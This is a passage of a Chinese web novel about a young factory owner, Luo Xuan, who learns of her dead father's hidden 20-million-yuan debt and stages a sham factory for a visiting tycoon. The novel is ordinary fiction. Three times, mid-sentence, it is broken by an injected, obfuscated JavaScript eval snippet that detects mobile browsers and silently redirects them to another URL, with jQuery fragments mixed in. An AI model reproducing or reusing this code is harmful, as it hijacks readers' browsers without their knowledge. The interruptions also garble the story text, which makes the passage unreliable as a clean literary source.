“赶紧的,别想了。听说跟外商已经谈得差不多了,定在10月29号签合同……留给我们的时间不多了。” 第160章 丑也是美&怎么选都有牺牲 “小满啊,留给我们的时间不多了。”罗桑县中学校长对着电话诉苦,“11月中旬就是之河市一模,县中的平均分还是提不上来。县中轮不上加分激励政策,学弟学妹都学得挺累的,也没什么斗志,你能不能在一模前回来,给大家加油鼓劲?” 万小满很礼貌地说:“应该是可以的,我算算时间,然后给您回复。” 挂了电话,万小满给罗琦打电话。 对面有浓烈的、呼啸的风声。 万小满骇笑:“琦姐姐,你在野地里吗。” 罗琦看着荒芜的工业园,对着手机说:“我在工业区这边。” “啊,之河市郊区的工业区啊。”万小满想了想,“我记得那边有一小块地,建了住宅。你是去那里看房子吗?” “你聪明得过头了,小满。”罗琦笑着说,“你觉得这片住宅怎么样?” “你是指升值空间吗?之河市的规划趋势是‘东进南拓’,这块地就在东南方向,我想,地产商拿这块地开发住宅,也有这个长远考虑在。” 罗琦摇头:“长远啊,那不得二十年、三十年?我可等不得。” 万小满实话实说:“短期内,我看不出工业区的房子能怎么涨。” 罗琦神秘地笑了:“万小满,你等着看我怎么炒房子。” “一言为定。” 罗琦换了个话题:“你在北京租下的铺面和房子,收拾得怎么样了?” “中旬就能收拾好。”小满说,“我计划11月初回去一趟,你知道的,我妈妈11月1号过生日,我准备给她一个生日惊喜——” 说到这里,小满羞涩地笑了声。 “县中让我回去分享经验,等我结束了,刚好把我爸妈接到北京去。”她很轻快地说。 罗琦笑起来:“1号是吧,我记住了,你家的大喜事,我非得去蹭饭不可。” 小满很爽快:“罗美**驾光临,我家蓬荜生辉。” 罗琦垂眼笑。 片刻后,她的声音有些伤感:“我要多吃一些。这一别,这辈子都不知道还能不能再吃上娇姐做的菜了。” 小满哈哈笑:“你可以饿三天,扶墙进,扶墙出。” 罗琦笑骂:“你这破孩子!” …… 罗琦挂断电话。 她抱着手臂,抬起脸,走进售楼处。 这样的小楼盘,请不起什么太好的员工,也谈不上什么专业服务。 售楼处冷冷清清,几个售楼小姐正在闲聊,其中一个有些自得:“我男人养我。他送了我一辆车,还说要送我房子,上班多累呀,我结完婚就准备辞职了……” 另外几个羡慕:“真好,你刚一毕业就把自己嫁出去了。” 罗琦走进去,几个女生不情不愿地站起身,互相推了几下。 其中一个女生走过来,看见罗琦的脸,倒吸一口凉气,又很无礼地盯着看了好几眼,然后露出些似笑非笑的神情。 踽踽私语传到耳边:“……整容脸。” “……整得这么难看。” “……想傍大款吧。” “……哪比得过你,你才是天生丽质,有男人养有男人爱。” 罗琦听着,脸上没什么表情。 “叫你们经理来。”她说。 “我们经理不在。”售楼小姐掩嘴笑。 罗琦坐在椅子上,平静地把手里的包放在桌上,拉开一半拉链,露出里面成捆成捆的人民币。 售楼小姐脸色变了。 “这里面有50万现金。”罗琦轻声说,“你们这个盘,我相中了,来组织团购。谈得好,这些就是订金。” 售楼处安静了一会。 “团购指的是多少套?”其中一个售楼小姐轻轻问。 “二十套起。”罗琦很平和。 售楼处安静了很久。 突然间,仿佛按下了什么开关,又仿佛一滴水落入油锅,瞬间所有女孩子全慌乱地动了起来。 “您喝水……” “小姐您贵姓……” “您在这边稍坐……” “我们经理马上就到……” 罗琦垂眼安坐,几分钟后,经理急匆匆地跑来,满头大汗,身上还萦绕着一股淡淡的酸辣粉的味道。 “小姐您太漂亮了,这么年轻又这么好气质。”经理夸赞。 又被夸漂亮了。 漂亮,不漂亮,有时候,和人本身的关系不大。 这个功利的世界啊。罗琦心想。 她扬起脸,唇角露出一点点了然的微笑: “是,我漂亮。” 经理点头弯腰:“那是,那是,您这边请,这边是会议室。” “你很会讲话。”罗琦拎着包站起身,点点头,“我们仔细谈谈吧。” …… “谈,谈什么,怎么谈。”赵**很憋屈地敲桌子,“现在有任何一道正式文件,说之河服装集团已经启动对罗桑厂的兼并流程了吗?没有!结果之河服装的人就这么大喇喇地来调研了?” 张东尧劝:“这人是林国栋的同学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275280|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,党报的笔杆子,现在借调在省里相关部门,此番下来只是采风。兼并一事,事关重大,肯定要过上面的班子会的,这位笔杆子来不来,关系都不大,让郑厂长正常接待就好。师叔,您莫生气。” 赵**坐在椅子上,疲倦地挥挥手:“我不生气,我就是感慨,港资撤出后,罗桑厂就像一辆公交车,谁都想上。这公交啊,要是上的人太多了,我担心,我们罗桑县自己的人就上不去了。你看看!这还没怎么样呢,前栅栏宿猫,后篱笆走狗,今天这个要兼并,后天那个要迁走,一个官字,两张口!” 张东尧说:“这说明咱们罗桑厂办得好,营收稳定。” 赵**是魏院士的师兄、张东尧的师叔。学界关系,感情又不一样。 办公室里,屋门紧闭。 对着张东尧,赵**总算说了点心里话:“兼并,还是迁走,那是上面的决策,无论如何,我都是无条件拥护、双手赞成的。但你要知道,罗桑厂摊子不算小,里面派系众多,错综复杂,管理起来,根本不是生产的问题。聪明人不会沾这个摊子,沾这个摊子的人未必聪明,我是担心,最后改革来、改革去,你也当领导、我也当领导,大佛不露面,小鬼满天飞,活活把罗桑厂搞死!罗桑县的支柱塌在我手里,我有什么脸面再见罗桑县几十万老百姓?我有什么脸面再见罗桑县十几万制衣工人?” 张东尧说:“那么听起来,让外商来注资,反而是罗桑厂最好的选择。” “未必是对罗桑厂最好的选择,但可能是对罗桑县最好的选择。”赵**长叹气,“可话又说回来——孤木不成林。只想着罗桑县好,若是之河不好,我们罗桑县也好不了几年的。” 张东尧明智地持沉默。 “有时候觉得,做决策,就得有当罪人的勇气,因为怎么选,都有牺牲;怎么选,都有错。时代的列车往哪边转弯,区别就是碾死一万个人还是十万个人。”赵**长长叹息,“选不选,都不对;怎么选,都不对。” 窗户留了一道用来通风的缝隙,风吹进来,罗桑河水的臭气一阵阵涌入房间。 张东尧站起身,把窗户关严。 透过玻璃,他久久注视着奔涌的罗桑河。 罗桑河永远奔流。 无论发生了什么,无论是好还是坏,水不会有任何变化。水永远那样流过。 赵**在背后感叹:“都想摸着石头过河,可是谁愿意成为石头呢?” 第161章 罗文彬的债务 “一天天的仿佛住在水帘洞里,雨连着下满两个月,皮包都长毛。蟑螂半个手掌大,还会飞……”兰姨在电话另一端絮絮诉苦。 罗璇急忙说:“要祛湿呢,我寄祛湿茶给你。” 兰姨“嗯”了声,沉默下去。 “其实这么说可能不道义。”兰姨顿了顿,突然说,“但我现在过得很好。” 兰姨去到广州,起初心里还有疙瘩。可王俭妹又欠债又要带孩子,工厂要散掉,几乎焦头烂额,兰姨又见不得人受罪,这几天都在帮着她把偌大工厂拢起来,一个问题接着一个问题地解决,忙得如陀螺般。 三下两下,王俭妹就看出兰姨的本事。 她有心拉拢,请兰姨吃饭,直接封了一万零一块钱的红包给兰姨:“厂子既然已经糟得不能再糟,干脆给您10%的干股,这笔钱先拿着安家,等机器开了,再发后续的钱。” 广州的薪资和罗桑县的薪资不可同日而语,兰姨咽了下口水,利落地接了。 服务生端上纸巾:“一块钱一包。” 王俭妹和兰姨不约而同地从怀里掏出纸巾:“退掉,用自带的纸巾。” 两人齐齐怔住,相视大笑。 晚上回去,兰姨第一次仔细阅读了自己的用工合同,抚摸着上面约定的管理人员薪酬7000/月的字样,罕见地失眠了。 “钱拿到自己手里,还是不一样。”兰姨吞吞吐吐,“我跟你妈虽然多年的交情,可到了这边,才知道,我这点没用的本事,竟然能值这么多钱……树挪死,人挪活。如果你妈现在问我,愿不愿意回去给她干?说实话,我不愿意。” 罗璇说:“我都理解。” “我对不起你妈。”兰姨唉声叹气。 …… “谁对不起谁,都不重要。因为人生稀里糊涂,总归是一笔烂账。”红星厂的老会计叹道。 罗璇点头称是。她起身,给赵会计倒茶。 热水袅袅升腾,穿褐色夹克的老头子没看那茶一眼,也没碰。 “我跟你爸妈干了大半辈子,晓得你爸妈对不起你。”赵会计说,“但我年纪大了,是老派人,心里还是觉得,就算林厂长再如何,她毕竟是你妈。当然,我知道你也想我走。” 罗璇讪笑。 当然了,她亲妈仰仗的会计,她哪里敢用。 但罗璇也学会了言不由衷。 她叹了口气:“今年一直不安生,现在是第四季度,正是账目复杂的时候,我是真不想您走。您一句话,我就把财务室洒扫干净,请您回来把控大局。” 赵会计听了这番话,神情熨帖了些。 他叹气:“小罗厂长,不是我不想做。我已经老了,应付不了太复杂的账目。” 罗璇听出赵会计要走之心坚决,才出言挽留:“做财务,越老越有经验。您今年刚刚61,身子骨也硬朗,正是好时候,何必急着走呢?” 赵会计站起身,四下看了看,把门小心地关上,然后才坐到罗璇面前。 他捧住罗璇端上来的茶水,压低声音:“小罗厂长,有些事情,我觉得,你最好有个心理准备。” 这话,一听就不对劲。 罗璇变了脸色。 “您说。”她身子前倾。 赵会计却挑起别的话头:“小罗厂长,这话说了,我在本地可能就干不下去了。” 罗璇立刻说:“您想去哪里做?” 赵会计说:“我之所以和你说这些,是因为接到兰姨的电话。她告诉我,她在广州过得很不错,收入也很高,劝我也过去。你刚刚也说,会计越老越吃香,而我身子骨还硬朗,也想发挥余热。你帮兰姨安排得很好,是个厚道人,我相信你。” 原来赵会计之所以愿意和她说这么多,是看到兰姨过得好、挣得多。 好日子人人都想过。 所谓保守秘密,不过筹码给得不够高。 罗璇明白了:“我帮您和广州的王厂长谈条件。” 赵会计这才点了点头,放下茶水。 他缓缓道:“你妈知道,我和赵秋兰,你们兰姨,是同宗。但你妈不知道,我老婆和你爸,是远房的堂姐弟关系。” 罗璇脱口而出:“你是我爸的人!” “厂子的钱都抓在你妈手上,我帮你爸盯紧你妈。”赵会计说,“毕竟你舅舅经手的是肥油最多的环节,你妈没少给他恩惠,你爸拦不住,至少需要知道怎么给的、给多少。红星厂毕竟是夫妻两个人的。” 这样的婚姻。罗璇觉得有点可笑。 她点点头:“是,夹在我爸妈中间,确实难受。” 赵会计深吸一口气:“红星厂的钱,盈利基本都滚在货里。你妈手紧,你爸在外面养了女人,钱不够花,看你妈把钱拿给你舅舅,觉得你妈没良心。但离婚是不可能的。” “所以你爸决定釜底抽薪。” 房间里空落落的,赵会计的声音低沉,回荡在房间里,激起嗡嗡回声。 罗璇忽地毛骨悚然。 …… 江明映爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275281|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上小山坡的最顶端,扶着树,看下去。 这里是纺织村,罗桑县服装产业集群最边缘、最偏僻的地方。 因为边缘、因为偏僻,整个纺织村也只有红星厂一家工厂而已。 受地理条件所限制,从红星厂到罗桑厂的运输距离颇为遥远,周转率远远比不上其他工厂,因此规模始终做不起来。 一阵微风吹过,空气清新。 不像罗桑县里,罗桑河水已经臭不可闻。 微风吹拂在江明映脸上,他额角的汗渐渐干涸。Nate终于气喘吁吁地追上来,用英语感叹:“上帝啊,Adrian,你果然是运动健将。” 江明映不置可否。 从小到大,江明映早就习惯了为目标而压抑自己的情绪和欲望。若是说喜欢,他最喜欢完成目标的一刹那——成功能够折射出极致的自信与自我。 江明映迷恋成功的感受,从来都不是什么具体的东西。 至于运动——他自然也谈不上喜欢或者不喜欢。 但运动有利于他成为社交达人,能让他申请名校,对运动的品味能体现出他的精英身份…… 江明映是个极致的实用主义者。 既然有用,很有用——那么,他就是喜欢运动的。很喜欢。 江明映把思绪拽回来,冷笑着问Nate:“Cythnia对红星厂,已经确认退出了,对吗。” Nate点头道歉:“Adrian,是我失职,没留意到Cythnia和罗璇之间的关系,差点毁掉我们的计划。” 江明映皱眉:“罗文彬死得太突然,真是麻烦。” 他注视着红星厂。 “但幸好,林国栋也**,林厂长失去了对红星厂的控制权。现在是罗璇接手。罗璇可比她妈好控制一万倍。”江明映淡淡地说。 “老天在帮我们。”Nate说,“我们本就打算让罗璇来控制红星厂的,记得吗?” “但我更希望是由我扶持罗璇来控制,这样她什么都不懂。”江明映感慨,“去年这个时候,罗璇多愚蠢、多天真、多傻气!现在的罗璇,老练得多,也难搞得多。” “那也成不了气候。”Nate直接说,“有天价债务压着,罗璇没有任何筹码来谈判。还不是我们想怎样就怎样。” 江明映这才露出点笑影子:“当然。” 他信手抓起一片叶子,用指尖碾碎,然后扬手。 看着碎片随风而去,最后缓缓落在红星厂的厂房上。 第162章 负债! 窗户开了个小缝,几片叶子的碎屑飞进来。 罗璇满头都是冷汗,碎叶飘飘荡荡地落在罗璇的脸上,被汗黏住。 “……你爸决定釜底抽薪。”赵会计说。 罗璇听下去。 “王经理一直想在罗桑厂外面搞个厂子,用来**。” “这几年,光景不比从前,实业不好做,罗桑厂也是心有余而力不足。拿去做生意呢,只赚那么一点点,还有可能亏钱,还不如把钱拿去存银行、吃利息。” “既然是吃利息,就有时间差。大笔资金一进一出,有了时间差,就有很多操作的空间。罗桑厂的钱,再怎么赚,都不是自己的钱。所以,想把罗桑厂的钱变成自己的钱,关键在于‘怎么进、怎么出’。” “于是他和你爸一拍即合。” “为了建厂,你爸将把红星厂抵出去借**,拿了八百万,投资扩产。地皮买了,国外的机器订了,人却突然**……” “咣”的一声响,是罗璇面色苍白地打翻了水杯。 但她没出声,狠狠地掐着手腕,强迫自己听下去。 赵会计说:“这件事情,透着奇怪。红星厂根本不值钱,你爸为什么能借到八百万?买地皮的手续并不简单,你爸是怎么说买就买的?你爸没出过国,国外的机器,他怎么看的、怎么订的?” 罗璇身体前倾。 赵会计摇头:“你爸是老板,我终究是给人打工的。你爸吼我,我也不敢再问。” 罗璇怔怔地靠在椅子上。她恍惚地看向窗外,几片破碎的叶子粘在玻璃上。 她伸手抹了把脸,看着手指上的碎叶,用力碾了碾。 “我爸没一年了,我妈始终不知道这件事?”她用力压抑着自己的声音。 “王经理一直没跟你妈提这件事。”赵会计结束了这段谈话,“小罗厂长,我什么都不知道,我也应付不来这么复杂的关系。” 罗璇问:“利滚利,红星厂现在,究竟欠了多少钱?!” 赵会计言简意赅:“2000万。” …… 2000万。 罗璇仿佛听到很遥远的地方传来回声。 她没办法移动身体,也没办法开口说话,也没办法做出任何表情。 赵会计站起身。 “我能做的,只是让你有个心理准备。你先消化消化,想通了,再来找我,我带你去看看你爸置的新厂。”老人在门口站定,“还有。” 他回身:“小罗厂长,你不要相信身边任何人。” 罗璇看着赵会计。 老人也看着她。 几秒种后,老人走出房间,贴心地关上门。 门关闭,房间里昏暗下来。 太阳逐渐落下,房间里始终没有开灯,一直一直地昏暗下去。 …… 关系王在外面拍门,边拍边喊: “赵会计让我来看看你,发生什么了,你怎么样,你还好吗,遇到事情可以想不开,但死之前记得先还我钱。” 罗璇猛地拉开门,关系王抽抽鼻子:“这么香,你在干嘛啊?” “我在吃饭。”罗璇举起手里的碗。 “那赵会计十万火急地打电话给**嘛!”关系王气得跺脚,“大晚上的害我跑一趟,遛狗呢?有病!”他狐疑地看着罗璇的脸,“你怎么了,我看你也不难过啊。” “我难过啊,你有点同情心好不好。”罗璇气得指着自己的脸叫出声,“但是我饿了,我不吃饭**嘛?” 关系王探头看了看:“嗬,真没少吃。” “人亏了什么,也不能亏了自己的嘴啊。”罗璇忿忿。 “你怎么了?” “哦,我刚接手红星厂,最后一个季度财务压力大。”罗璇斟酌着说,“赵会计在这个节骨眼给我提离职,我不想他走。” 她没有说真话。 我不会再相信任何人。罗璇心想。 “就这么点事啊!”关系王很烦地说,“赵会计还特意让我来开导开导你,说知道我俩忘年交。” “忘年交?你?我?呸!你我之间本无缘,全靠金钱死撑。” 关系王又看着罗璇:“真没事?没见色起意、意外怀孕、被男人抛弃、做单亲妈妈、掉入贫困陷阱、度过悲惨的一生?” “滚滚滚。”罗璇把纸巾砸在他头上,“无事发生。” 她冷静地撒谎,眼睛都不眨。 “酸辣鸡爪?我喜欢。”关系王抽了双筷子,“给我吃一口。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15275282|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“不给,你一口能吃半盘。” “我偏要吃。” 两人盘腿嗦鸡爪。 关系王问:“宗先生明天来视察,你准备好了没有?” 罗璇伸出去的筷子一顿,旋即若无其事地说:“准备得挺好。” 关系王又腆着脸笑:“那明天我能不能也来。这样,我就能说我认识宗先生,给自己抬咖了。” 罗璇心不在焉地“嗯”了声。 “宗先生居然会出现在我们这种小地方,真是百年罕见……他为什么来看你的红星厂?”关系王叼着筷子,严肃了神情,“宗先生想必非常重视你。” 罗璇想起自己从前和宗先生短暂的交往,有些摸不到头脑,只能腆着脸承认:“大概是吧。” 关系王想了又想,肯定地点头:“肯定是这样。” 罗璇陷入沉思。 几秒钟后,罗璇咬着牙,低声问:“你觉得,我能不能借这个机会,直接问宗先生要个大单?我的意思是,跳过Cythnia和罗桑厂,直接……” 关系王吓了一跳:“你打算跳单?多大的单?” “五百万?一……一千万?” 关系王又吓了一跳:“算了吧,以你现在的资金体量,这种对外订单,别说你能不能拿到——就算真拿到了,你没经验,工人也不熟练,货物生产仓储运输,哪个方面都有无数问题,出几个问题,罚不死你!赔不死你!” 罗璇叹了口气,**这条心。 关系王苦口婆心:“首先你拿不到。其次,就算你拿到,跳单这种事,被我叔叔他们知道,搞不死你。” 罗璇不语,关系王又劝:“做生意,得辨忠奸,该忠的时候忠,该奸的时候奸。” “对消费者忠?对竞争对手奸?” 关系王不小心把鸡骨头咽下去,憋红了脸。片刻后,他顺了气:“对能捏死你的人忠,对捏不死你的人奸。” “这都是什么狗屁道理!” “忠奸又不是一成不变的,好的可以变成坏的,坏的也可以变成好的,就看你怎么想嘛。” 罗璇心里苦,又不好说什么,只能烦躁地用筷子指了指关系王: “吃荤的不吐骨头,也不怕噎死!” 第163章 你妈,当真不知道你爸的债务?&我能相信谁 “小罗厂长,好事能变成坏事,坏事也能变成好事。事已至此,你自己得想开。” 赵会计说着,从口袋里抽出手,轻轻一指。 宗先生到来的前一夜,罗璇终于见到了父亲悄悄置办的新红星厂。更大的地皮,更大的厂房,更偏僻的位置,更新的机器。 关系王啧啧称奇:“瑞士‘苏尔寿·鲁蒂’剑杆织机、法国‘史陶比尔’电子提花龙头、德国‘贝宁格’分条整经机……太富贵了!现在,红星厂不仅仅局限在做成衣,已经可以生产高端面料了!这个利润可不一般。” 他走到车间深处,一台一台摸过去。 罗璇一看到机器就心痛。这些机器闲置在这里,若是早早开起来,一天能多赚多少钱! 是,利润不一般。但成本也不是一般的高。 2000万! 罗文彬去世一年了。地皮、厂房、机器,就闲置在这里。林招娣不知道,罗璇也不知道。 罗璇忍不住质问赵会计:“您明明可以早些告诉……” 她住了口。 告诉,告诉谁?而且,赵会计又知道什么?做下整件事情的,是她的亲生父亲,她又何必迁怒于别人? 罗璇长叹一声。 老人在红星厂干了大半辈子,经历了夫妻内斗、姐弟之争、母女斗争,什么都见过,似乎见到什么都不奇怪,神情平静。 “小罗厂长,你是不是想问,为什么我没告诉你妈?” 罗璇看向老人。 老人缓缓说:“小罗厂长,你有没有想过,你妈,是当真不知道吗?” …… 罗璇忽然猜测到某种可能性,浑身如遭雷击。 她的大脑僵硬地转动着,听见自己问: “我妈知道这一切?她是故意把烫手山芋甩给我的?” “我不知道她是不是知道。”赵会计简单地叙述,“林厂长是我见过最有韧劲的人,宁可被打死,也不会被打倒。但这一次,林厂长被你打倒了。” 罗璇睁大双眼。 片刻后,她开口,声音听在赵会计耳中,和林招娣如此相似,都带着如出一辙的狠劲: “那您知不知道,东西到了我手上,不管怎么来的,就是我的,我绝不会再让出去?” 赵会计仿佛看到几十年的林招娣。 血缘啊,真是奇妙的东西。让两个人完全不同,隔着几十年的时光,却又渐渐重叠。 赵会计的声音依旧很平静:“我什么都不知道。我老了,小罗厂长。太复杂的关系我处理不了。” 他把一串钥匙放在罗璇手里:“总之,从现在开始,这就是你的厂。” 老人借口熬不动夜,转身离开,身影消失在夜里。 …… 我还能相信谁? 罗璇站在宽阔而寂寥的厂里。 赵会计的话,眼前的厂,长久的隐瞒…… 相信谁,都不对。 这个世界,原来是这样的。罗璇冷笑。 罗文彬自以为投资扩产的机会,其实不过一场针对他的围猎——幕后的人,大概想让罗文彬背了债,来控制他,从而控制两个红星厂。 罗文彬当然知道自己要背债,知道自己要被控制,但他知道这债务是2000万吗?他知道幕后之人的真正目的,是彻底把他踢出局吗? 难怪Cythnia突然退出。 关系王什么都不知道,还在啧啧赞叹,而罗璇站在偌大的厂房里,浑身发冷。 关系王对着机器摸摸拍拍,转身问罗璇:“你家这分厂啊,虽然地理位置更偏僻,但显然实力比老厂更加强悍。” 罗璇想着2000万的高利贷:“如果我把这厂子卖掉,你觉得能卖多少钱。” “卖?那你可亏大了!这么新的机器当二手卖?现在行情不好,二手机器价格跌到6000多了。”关系王估算,“你这地皮不值钱,厂房倒是挺新,打包能卖个200万出头吧。” 2000万的高利贷,200万的厂。 罗璇一阵头晕目眩,闭上眼睛。 幸好幸好,刚刚吃进肚子里的热饭热菜支撑着她。她的声音很稳定:“你觉得,你叔叔王经理会对这里感兴趣吗。” 是王经理。 是王经理!用女人将罗文彬捆住,做下这等腌臜事——罗璇咬紧牙关。 关系王摇头:“我叔叔?他怎么可能买工厂?又苦又累,他才不会干呢。他最多利用手里的权力兑换成实股,找个有经验的人来经营就好了。” 是王经理——罗璇死死攥紧拳头。 关系王奇道:“怎么,你想用这个厂子傍上我叔叔?”他压低声音,“咱们朋友一场,我劝你收了这个心思。王经理啊,黑得很,至少抽你95%的水。听我一句劝,你自己的厂子,自己好好做,送点礼可以,但别掺和进那摊子人和事。” 路一条一条被堵死,罗璇沉默不语。 关系王继续赞叹:“现在,哪怕在整个罗桑县,红星厂的生产能力也是数一数二的了。只可惜,吃亏在物流上,这个地段,太偏僻了。你爸妈那么精明的两个人,怎么挑地段昏了头?” 罗璇怔怔道:“是,同样的钱,为什么挑地段昏了头?” 整个罗桑县服装产业集群就是围绕着罗桑厂建起来的。大大小小的工厂都有个共识:离罗桑厂越近越好。 离罗桑厂越近,物流越快,周转率越高,利润越高。 为什么罗文彬要花大手笔,在比红星厂更偏僻的地方建这么大的厂房? 罗璇怎么都想不通。 关系王安慰她:“没关系,宗先生不可能懂这些运营细节,虽然新红星厂周转率低,但谁知道呢?你看看,厂房新设备多好!看起来多有实力!” 罗璇眨了眨眼,脑中仿佛有什么一闪而过。 对啊!宗先生那样的大鳄,怎么可能关心周转率这种运营细节。退一万步来说,不是做工厂的内行人,谁又能算清楚这笔千丝万缕的利润账! 她猛地抓住关系王:“如果我在这里接待宗先生呢?” 关系王反问:“你居然不在这里接待宗先生?” 罗璇继续说:“我能用这个新厂和新设备,撬动大单吗?” 关系王犹犹豫豫:“你没经验没工人,拿到了,你也做不出来,做出来,可能也会被罚,大赔特赔……” 罗璇想到2000万债务,只听到自己想听的:“你的意思是,我能拿到单,对不对?” 关系王急了:“能是能,可……” 罗璇站起身,一拍手:“好!” 她急匆匆跑去抓手机,把关系王“喂喂喂”的叫唤声甩在一边。 第164章 搭草台,唱好戏 罗璇注视着更大的厂房。 她掏出手机,打电话给傅军,简单交代了新厂的事:“明天把你能喊来的工人都喊来,我得把新厂填满。” 傅军说:“这个时间,我不可能凑够你要的那些数量。我只能尽力。” 罗璇只好说:“能找多少是多少。” 挂了电话,她想来想去,打给王悠然。 “明天一早,把你们整个话剧团的演员全喊来。”罗璇说,“剧本我今晚就发给你,拜托你们扮演管理人员。” 王悠然一听是糊弄大鳄宗先生,急了:“我们恐怕没这个本事。” “行也得行,不行也得行。”罗璇咬牙说,“你们先来演着,到时候再说。” …… 宗先生要先去之河大学参加捐赠仪式,结束之河大学的行程后,再顺便前往罗桑县。 罗璇一夜没睡,一早先把工人和话剧团演员安排到新红星厂,对着傅军千叮咛万嘱咐一番后,急忙出发去之河大学迎接。 关系王像无影的蚊子一样,嗡嗡嗡在罗璇身边打转:“你真是疯了。” “你别想着找宗先生要大订单,你跳过王经理,跳过Cythnia,他们怎么可能不知道?你跳单,他们随便给你做点手脚——赔不死你呀!” “得罪王经理,你以后在罗桑县还怎么混?!” 罗璇没法说自己被两千万债务逼得兵行险招,只能冷着脸:“你来做什么?” 关系王瞬间变了脸,声音也带着体贴: “小罗总,我给你开车。你看,见宗先生,我总得有个身份……都知道司机是心腹、自己人,你看我给你做这个心腹自己人,好不好?” 罗璇被肉麻得直皱眉。 她心头满是2000万债务,根本不知道自己一番布置能否瞒过宗先生那双利眼,也根本不知道宗先生此番一定要来红星厂考察的目的是什么,紧张得翻江倒海想呕吐,面上却不能显出来——这时候,有个人帮自己开车,做点细致服务,简直瞌睡送枕头。 关系王不愧是关系王,这个要求提得恰到好处。 罗璇冷着脸答应了,自觉很没底线。 宗先生没什么变化,样子依旧温和和亲。他喜欢人气,无论何时何地,身边总是簇拥着一群老老少少男男女女,有工作伙伴也有顽主。 从一大早等到中午,之河大学的仪式结束,宗先生被请进贵宾室和各方头头脑脑们会见。罗璇紧张地打腹稿,又打开笔记本电脑,把各种设备参数、自有优势背了又背。 又从中午等到夜幕降临,关系王递给罗璇两个盒饭。 “吃吧。” “这都一天了。”罗璇看了看表,“万一宗先生这会结束呢。” “结束不了,肯定还有饭局,饭局后还有第二场。”关系王掰开一次性筷子递给她,“人家才不在乎我们的时间呢,就算我们等了一天,人家今天累了,不想来了,说改日期就改日期。” “去路边蹲着吃,别把车里染上味道。” 在之河大学灯火辉煌的校内酒店门口,两人猫着腰找了个黑灯瞎火的路边,端着泡沫盒子,开始狼吞虎咽吃盒饭。 冷风拍头。 罗璇注视着酒店璀璨美丽的灯光,知道宗先生就在其中一间。那里必然高朋满座,还有几个被叫过来的、一脸单纯的美丽本科生。有些人上桌吃菜,有些人是桌上的菜。这才能构成一个完整的局。 “那我们呢?”罗璇举着筷子,“如果不想变成一盘菜,也不想变成吃菜的人?” “干你屁事,你想得倒是美。”关系王扒饭,“人家眼睛里压根没咱。” 罗璇“啧”了声。 很难说不后悔。从前的小小任性,因为一些清高的心气,一些单纯的看不惯,直接远离资本与权力中心……如今就是这样的局面。她只能眼巴巴地在外面等着,身负巨债,渴望得到大佬一个眼神的施舍,渴望得到一个机会。 但再给她一次选择呢? 罗璇心里清楚,她还是会这样去做。 只花了不到1秒钟,罗璇就安然地原谅自己,不再去想。毕竟,牛奶虽然被打翻,可廉价的盒饭也算香气扑鼻。 人生苦短,先吃盒饭。 罗璇的脚蹲麻了,干脆坐在地下,继续埋头苦吃。 这些日子事务繁多,她累得心脏疼,但不敢休息。傅军和王悠然的的短信电话左一个右一个地过来,千头万绪,理不清楚。 又过了两个小时,宗先生助理打电话过来,罗璇身子一震:“来了。” 车门被人敲响,罗璇和关系王连滚带爬毕恭毕敬地滚下车,罗璇嘴里念念有词,背的全是刚刚的内容,结果一抬头—— 只看见宗先生的大秘。 两人老老实实鞠躬问好开车门。 秘书笑得疏离:“我跟你们车。” 关系王开车上路,秘书坐在后座,而宗先生的车队远远跟在后面。 车子穿过热火朝天的罗桑县,进入纺织村,在红星厂门口经过,转向新红星厂。 罗璇整个心都高高地吊了起来。 近了,近了。 新红星厂灯火辉煌。 和罗桑县发达的夜市相比,纺织村几乎没有像样的商业。因此,夜愈是黑,纺织村愈是沉静,距离罗桑县服装产业集群中心愈是偏僻,衬得那辉煌的灯火愈是宽敞、簇新、气派。 罗璇扭头看了看大秘,而大秘的面上看不出喜怒。 罗璇又看向新红星厂——人应该都候着了,机器也在转。所有兵荒马乱准备的一切,搭的一出好戏,只等着宗先生一到,立刻敲锣打鼓地上演。 成败在此一举。 罗璇一颗心仿佛放在火上烤,又激动、又紧张。她深吸一口气,而车子驶向新红星厂的正门。 罗璇开口:“就是这里了,可以停……” “车”字还没出口,只听大秘说:“拐弯。” 罗璇一怔。 关系王也一怔,陪着笑脸:“这里就是宗先生要视察的红星厂了……” “嗯。拐弯。”大秘说。 啊? 罗璇目瞪口呆,而关系王在大秘的指挥下扭转方向盘,车子一转弯,生生从红星厂大门口拐开去。 旋即,大秘不断提出指令,车子带着车队绕着新红星厂开了一圈,又绕着纺织村开了一圈,最后缓缓驶向返程的道路。 全程不到半个小时。 视察就这么结束了。 从头到尾,罗璇上上下下准备了那么久,宗先生别说看厂了,连面都没露。 对罗璇而言天大的事情,在宗先生面前,不过一阵无足轻重的微风。 第165章 江明映的筹谋&人只要扛揍 